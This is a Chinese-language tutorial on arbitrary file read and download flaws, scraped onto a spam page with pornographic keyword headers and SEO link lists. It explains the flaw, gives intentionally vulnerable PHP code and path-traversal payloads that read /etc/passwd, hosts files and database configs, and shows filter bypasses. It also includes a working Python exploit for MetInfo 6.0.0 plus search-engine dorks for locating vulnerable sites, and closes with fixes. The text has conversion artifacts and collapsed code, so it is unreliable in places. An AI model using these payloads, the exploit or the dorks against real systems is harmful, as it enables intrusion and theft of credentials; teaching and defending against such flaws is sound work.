中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當前位置: 首頁 > news >正文

杭州十大室內(nèi)設(shè)計公司網(wǎng)站關(guān)鍵詞優(yōu)化方法

杭州十大室內(nèi)設(shè)計公司,網(wǎng)站關(guān)鍵詞優(yōu)化方法,織夢網(wǎng)站設(shè)計,廈門國外網(wǎng)站建設(shè)公司文章目錄 滲透測試漏洞原理任意文件讀取1. 任意文件讀取概述1.1 漏洞成因1.2 漏洞危害1.3 漏洞分類1.4 任意文件讀取1.4.1 文件讀取1.4.2 任意文件讀取1.4.3 權(quán)限問題 1.5 任意文件下載1.5.1 一般情況1.5.2 PHP實現(xiàn)1.5.3 任意文件下載 2. 任意文件讀取攻防2.1 路徑過濾2.1.1 過…

文章目錄

  • 滲透測試漏洞原理
  • 任意文件讀取
    • 1. 任意文件讀取概述
      • 1.1 漏洞成因
      • 1.2 漏洞危害
      • 1.3 漏洞分類
      • 1.4 任意文件讀取
        • 1.4.1 文件讀取
        • 1.4.2 任意文件讀取
        • 1.4.3 權(quán)限問題
      • 1.5 任意文件下載
        • 1.5.1 一般情況
        • 1.5.2 PHP實現(xiàn)
        • 1.5.3 任意文件下載
    • 2. 任意文件讀取攻防
      • 2.1 路徑過濾
        • 2.1.1 過濾../
      • 2.2 簡單繞過
        • 2.2.1 雙寫繞過
        • 2.2.2 絕對路徑
        • 2.2.3 使用..\
        • 2.2.4 設(shè)置白名單
    • 3. 任意文件讀取挖掘
      • 3.1 手工挖掘
      • 3.2 經(jīng)典案例(metlnfo_6.0.0_file-read)
        • 3.2.1 漏洞描述
        • 3.2.2 漏洞等級
        • 3.2.3 影響版本
        • 3.2.4 漏洞復現(xiàn)
        • 3.2.5 漏洞點分析
        • 3.2.6 深度利用
        • 3.2.7 修復建議
    • 4. 漏洞修復方案
      • 4.1 輸入驗證
      • 4.2 避免其他漏洞
      • 4.3 限定文件的訪問范圍

滲透測試漏洞原理

在這里插入圖片描述

任意文件讀取

1. 任意文件讀取概述

一些網(wǎng)站的需求,可能會提供文件查看與下載的功能。如果對用戶查看或下載的文件沒有限制或者限制繞過,就可以查看或下載任意文件。這些文件可以是源代碼文件,配置文件,敏感文件等等。

  • 任意文件讀取會造成(敏感)信息泄露:
  • 任意文件讀取很多情況是由于其他漏洞引發(fā)的,如,RCE、目錄遍歷、文件包含等。
  • 任意文件讀取與任意文件下載本質(zhì)上沒有區(qū)別,信息都是從服務(wù)端流向瀏覽器的。

任意文件讀取與下載可能形式不同,但是從本質(zhì)上講讀取與下載沒有區(qū)別,從權(quán)限角度來講,讀取與下載都需要讀權(quán)限。

1.1 漏洞成因

不管是任意文件讀取還是任意文件下載,觸發(fā)漏洞的條件都是相同的:

  • 存在讀取文件的功能(函數(shù)),也就是說,Wb應用開放了文件讀取功能:
  • 讀取文件的路徑客戶端可控,完全控制或影響文件路徑參數(shù):
  • 沒有對文件路徑進行校驗或者校驗不嚴導致校驗被繞過,
  • 輸出了文件的內(nèi)容。

1.2 漏洞危害

下載服務(wù)器任意文件,包括源代碼文件、系統(tǒng)敏感文件、配置文件等等。

可以配合其他漏洞,構(gòu)成完整攻擊鏈。對源代碼文件進行代碼審計,查找更多的漏洞。

任意文件讀取與下載重點關(guān)注的文件:

  • 源代碼
  • 配置文件
  • 敏感文件
  • 日志文件

1.3 漏洞分類

  • 任意文件讀取
  • 任意文件下載

1.4 任意文件讀取

以PHP腳本為例子,有一些函數(shù)可以實現(xiàn)文件讀取功能。

1.4.1 文件讀取

讀取文件的函數(shù)函數(shù)特點
readfile()直接讀取文件內(nèi)容
自帶輸出功能
feed()直接讀取文件內(nèi)容
需要輸出讀取內(nèi)容
fread()打開文件
計算文件大小
讀取文件
輸出文件
關(guān)閉文件

函數(shù)具體介紹:PHP: Hypertext Preprocessor。

實驗環(huán)境在phpstudy的www目錄下創(chuàng)建一個file-read目錄,在目錄中創(chuàng)建一下php文件。

readfile:

// readfile.php
<?php$fp = "../phpinfo.php"; readfile($fp);
?>

image-20230831163503847

訪問頁面,查看頁面源代碼,讀取成功。

image-20230831163532888

file_get_contents:

// file_get_contents.php
<?php$fp = "../phpinfo.php"; echo file_get_contents($fp);
?>

image-20230831163931880

訪問頁面,查看頁面源代碼,讀取成功。

image-20230831163911619

fread:

// fread.php
<?php$fp = "../phpinfo.php";$f = fopen($fp,'r');		//打開文件$f_size = filesize($fp); 	//計算文件大小echo fread($f, $f_size); 	//讀取文件內(nèi)容并輸出到頁面上fclose($f);
?>

image-20230831164353800

訪問頁面,查看頁面源代碼,讀取成功。

image-20230831164432437

1.4.2 任意文件讀取

變量$fp,會捕獲GET方式傳遞過來的filepath參數(shù)。

$fp = @$_GET['filepath'];

image-20230831164814684

image-20230831164805890

filepath客戶端可控,并且沒有經(jīng)過校驗,會造成任意文件讀取漏洞。

?filepath=index.php ?filepath=/etc/passwd
?filepath=c:\windows\system32\drivers\etc\hosts ?filepath=c:\phpstudy_2016\apache\conf\httpd.conf ?filepath=c:\phpstudy_2016\mysql\my.ini?filepath=../../../../../../../../../../phpstudy_2016/www/phpinfo.php 
?filePath=../../../../../../../../windows\system32\drivers\etc\hosts 
?filePath=../../../../../../etc/hosts

image-20230831164911981

1.4.3 權(quán)限問題

  • Windows + IIS + ASP/ASPX:低權(quán)限
  • Windows + Apache + php:高權(quán)限
  • Windows + Java:高權(quán)限
  • Linux + Apache + PHP:低權(quán)限
  • Linux + Nginx + PHP:不一定
  • Linux + Java:高權(quán)限

1.5 任意文件下載

1.5.1 一般情況

直接下載:例如圖片另存為。

a標簽下載:

<a href = './a.jpg'>IMG Download</a>

1.5.2 PHP實現(xiàn)

PHP文件下載實現(xiàn)過程:

  • 先讀取文件
  • 在輸出文件
  • 提供下載
// file-download.php<?php$fp = './a.jpg';header('Content-Type:image/jpg');header('Content-Disposition:attachment;fileName='.basename($fp));readfile($fp);
?>

1.5.3 任意文件下載

任意文件下載的條件:

  • 已知目標文件路徑
  • 目標文件路徑,客戶端可控
  • 沒有經(jīng)過校驗或校驗不嚴格
$fp = $_GET['filepath'];

實驗

<?php$fp = $_GET['filepath'];// header('Content-Type:image/jpg');header('Content-Disposition:attachment;fileName='.basename($fp));readfile($fp);
?>

image-20230831165850154

下載成功

image-20230831165930571

文件內(nèi)容如下:
在這里插入圖片描述

2. 任意文件讀取攻防

2.1 路徑過濾

2.1.1 過濾…/

<?php$fp = @$_GET['filepath'];$fp = str_replace("../","",$fp); readfile($fp);
?>

2.2 簡單繞過

2.2.1 雙寫繞過

?filepath=..././..././..././..././..././..././..././windows\system32\drivers\etc\hosts

2.2.2 絕對路徑

?filepath=c:/windows\system32\drivers\etc\hosts

2.2.3 使用…\

?filepath=..\..\..\..\..\windows\system32\drivers\etc\hosts

2.2.4 設(shè)置白名單

設(shè)置只能訪問a,b,cPHP文件

<?php$fp = @$_GET['filepath'];if($fp == 'a.php' or $fp == 'b.php' or $fp == 'c.php'){readfile($fp);}else{echo "Please stop!";}
?>

3. 任意文件讀取挖掘

3.1 手工挖掘

從文件名上看從參數(shù)名上看
readfile.php
filedownload.php
filelist.php
f=
file=
filepath=
fp=
readfile=
path=
readpath=
url=
menu=
META-INF=
WEB-INF=
content=

3.2 經(jīng)典案例(metlnfo_6.0.0_file-read)

下載鏈接:MetInfo歷史版本與文件。

說明內(nèi)容
漏洞編號
漏洞名稱MetInfo 6.0.0 任意文件讀取漏洞
漏洞評級高危
影響范圍MetInfo 6.0.0
漏洞描述MetInfo 存在任意文件讀取漏洞,攻擊者利用該漏洞, 在具有權(quán)限的情況下,可以讀取網(wǎng)站任意文件,包括配置文件等敏感文件。
修復方案打補丁 升級 上設(shè)備

3.2.1 漏洞描述

MetInfo 是一套使用PHP 和MySQL 開發(fā)的內(nèi)容管理系統(tǒng)。MetInfo 6.0.0 ~ 6.1.0 版本中的 /app/system/include/module/old_thumb.class.php 文件存在任意文件讀取漏洞。攻擊者可利用漏洞讀取網(wǎng)站上的敏感文件。

3.2.2 漏洞等級

高危

3.2.3 影響版本

MetInfo 6.0.0

3.2.4 漏洞復現(xiàn)

基礎(chǔ)環(huán)境

組件版本
OSMicrosoft Windows Server 2016 Standard
Web ServerphpStudy 2016
MetInfo6.0.0

安裝過程

image-20230831112202780

image-20230831112312476

訪問頁面

image-20230831112339968

漏洞點

/include/thumb.php

頁面訪問該路徑

http://127.0.0.1/MetInfo_6.0.0/include/thumb.php

image-20230831114153339

使用bp抓包查看,bp是默認不抓圖片的包,這里修改配置。

image-20230831113136239

將抓取到的數(shù)據(jù)包右鍵發(fā)送到重發(fā)器上。

image-20230831113306383

第一次測試

/include/thumb.php?dir=..././http/..././config/config_db.php

image-20230831113500433

第二次測試

/include/thumb.php?dir=.....///http/.....///config/config_db.php

image-20230831113523130

第三次測試

/include/thumb.php?dir=http/.....///.....///config/config_db.php

image-20230831113542697

第四次測試

/include/thumb.php?dir=http\..\..\config\config_db.php

image-20230831113627951

注意:

  • 此POC 僅適用于Windows 系統(tǒng),Linux 下無效。
    • 因為輸入的右斜線\在windows中作為目錄的分隔符,而linux中不是。

3.2.5 漏洞點分析

漏洞點產(chǎn)生位置在thumb.php文件

image-20230831114511371

加載old_thumb類

image-20230831115812562

說明:這里的防守做兩步判斷

  • 將…/和./全部過濾為空。

  • if判斷前四個字符必須是http,并且計算./的位置,也就是提交的dir變量中是否有./的出現(xiàn),如果沒有出現(xiàn)返回false。

  • readfile():任意文件讀取函數(shù)

  • dir這個讀取文件的路徑客戶端可控,但是不完全可控,限制可以被繞過。

3.2.6 深度利用

exp編寫

import requests
import sysbanner = """
MetInfo 6.0.0___________.__.__           __________                   .___\_   _____/|__|  |   ____   \______   \ ____ _____     __| _/|    __)  |  |  | _/ __ \   |       _// __ \\__  \   / __ | |     \   |  |  |_\  ___/   |    |   \  ___/ / __ \_/ /_/ | \___  /   |__|____/\___  >  |____|_  /\___  >____  /\____ | \/                 \/          \/     \/     \/      \/ Usage: python3 *.py http://192.168.188.183/MetInfo_6.0.0/
"""headers = {"User-Agent":   "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"
}dir_list = ["..././http/..././config/config_db.php",".....///http/.....///config/config_db.php","http/.....///.....///config/config_db.php","http\..\..\config\config_db.php"
]def attack(host):vul = "/include/thumb.php"url = host + vulres = requests.get(url = url, headers = headers)if res.status_code != 200:print(f"[INFO] {vul} is Not Exists!")exit()print(f"[INFO] {vul} is Exists!")for param in dir_list:params = {"dir":  param }res = requests.get(url = url, params = params, headers = headers)print(f"[INFO] Test URL: {res.url}")if "<?php" in res.text:print("[RESULT] The target is vulnreable!")print(f"[RESULT]\n{res.text}")breakif len(sys.argv) < 2:print(banner)exit()host = sys.argv[1]attack(host = host)

image-20230831141903577

漏洞挖掘

指紋信息

傳統(tǒng)搜索引擎

Powered by MetInfo 6.0.0
intext:"Powered by MetInfo 6.0.0" inurl:"tw"

FOFA

app="metinfo"

ZoomEye

app:"MetInfo"
app:"MetInfo"+os:"Windows"

3.2.7 修復建議

  • 打補丁
  • 升級
  • 上設(shè)備

4. 漏洞修復方案

4.1 輸入驗證

  • 讓web用戶只能訪問(讀取),所需要的文件和路徑。

4.2 避免其他漏洞

  • 不能有文件包含漏洞,目錄遍歷漏洞或其他漏洞。

4.3 限定文件的訪問范圍

讓用戶不能訪問Web根目錄以外的路徑。

php.ini配置文件中,可以通過選項open_basedir來限定文件訪問的范圍。

open_basedir = C:\software\phpstudy_pro\WWW

image-20230831171848343

實驗

不做限定的情況:

image-20230831171805332

做限定的情況:

image-20230831171827238

但是這樣還有讀取到當前的配置文件。

image-20230831171951634

解決方式:所有的修復方案需要配合使用。

http://www.risenshineclean.com/news/54767.html

相關(guān)文章:

  • 公司網(wǎng)站怎么做站外鏈接濟南seo外包公司
  • 做網(wǎng)站推廣客服好做么百度地址
  • 去菲律賓做網(wǎng)站百度seo標題優(yōu)化軟件
  • 大連城建設(shè)計研究院網(wǎng)站南昌seo顧問
  • 天津校園文化設(shè)計公司湖南網(wǎng)站建設(shè)推廣優(yōu)化
  • 中國做美國酒店的網(wǎng)站制作網(wǎng)站公司
  • 廣州黃埔區(qū)網(wǎng)站建設(shè)北京seo網(wǎng)站優(yōu)化公司
  • 做網(wǎng)站郴州百度信息流效果怎么樣
  • 涪城移動網(wǎng)站建設(shè)免費推廣網(wǎng)站注冊入口
  • 做自己的購物網(wǎng)站網(wǎng)站推廣要點
  • 日照手機網(wǎng)站設(shè)計小學生抄寫新聞20字
  • 河南做網(wǎng)站公司排名sem代運營托管公司
  • 微信高端網(wǎng)站建設(shè)百度愛采購平臺官網(wǎng)
  • 徐州企業(yè)網(wǎng)站排名優(yōu)化官網(wǎng)百度
  • 深圳品牌模板網(wǎng)站建設(shè)百度推廣助手怎么用
  • 扁平化 手機網(wǎng)站首頁5118大數(shù)據(jù)平臺官網(wǎng)
  • wordpress固定鏈自定義結(jié)構(gòu)企業(yè)關(guān)鍵詞優(yōu)化最新報價
  • 公司個人怎么做網(wǎng)絡(luò)推廣seo建站工具
  • 青島做網(wǎng)站方案網(wǎng)上營銷培訓課程
  • 蕪湖做網(wǎng)站哪家好網(wǎng)站流量分析工具
  • 怎么在國外網(wǎng)站做推廣百度推廣的幾種方式
  • 重慶江北區(qū)網(wǎng)站建設(shè)公司seo網(wǎng)絡(luò)推廣是什么意思
  • 個人網(wǎng)站做公司網(wǎng)站企業(yè)網(wǎng)絡(luò)營銷案例
  • 秦皇島海三建設(shè)沒錢了奉化seo頁面優(yōu)化外包
  • wordpress做物流網(wǎng)站百度搜索引擎的特點
  • 給人做網(wǎng)站多少錢張掖seo
  • 濰坊地區(qū)網(wǎng)站制作免費輿情監(jiān)測平臺
  • wordpress 文章推薦一篇福建優(yōu)化seo
  • 網(wǎng)站建設(shè)的目的和作用網(wǎng)站seo推廣排名
  • 阿里云企業(yè)網(wǎng)站怎么收費百度競價排名多少錢